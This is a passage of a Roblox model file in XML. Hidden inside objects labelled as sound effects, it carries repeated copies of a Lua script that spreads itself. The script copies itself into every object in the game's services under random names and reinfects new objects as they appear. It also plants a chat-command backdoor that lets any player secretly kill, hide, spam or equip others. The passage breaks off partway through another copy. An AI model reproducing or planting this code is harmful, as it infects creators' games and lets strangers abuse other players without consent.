fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX535">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX536">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">spdm3pgax</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX537">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">cdny3ffb</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX538">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">hywxtdtb</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX539">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">q80tyynnb</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
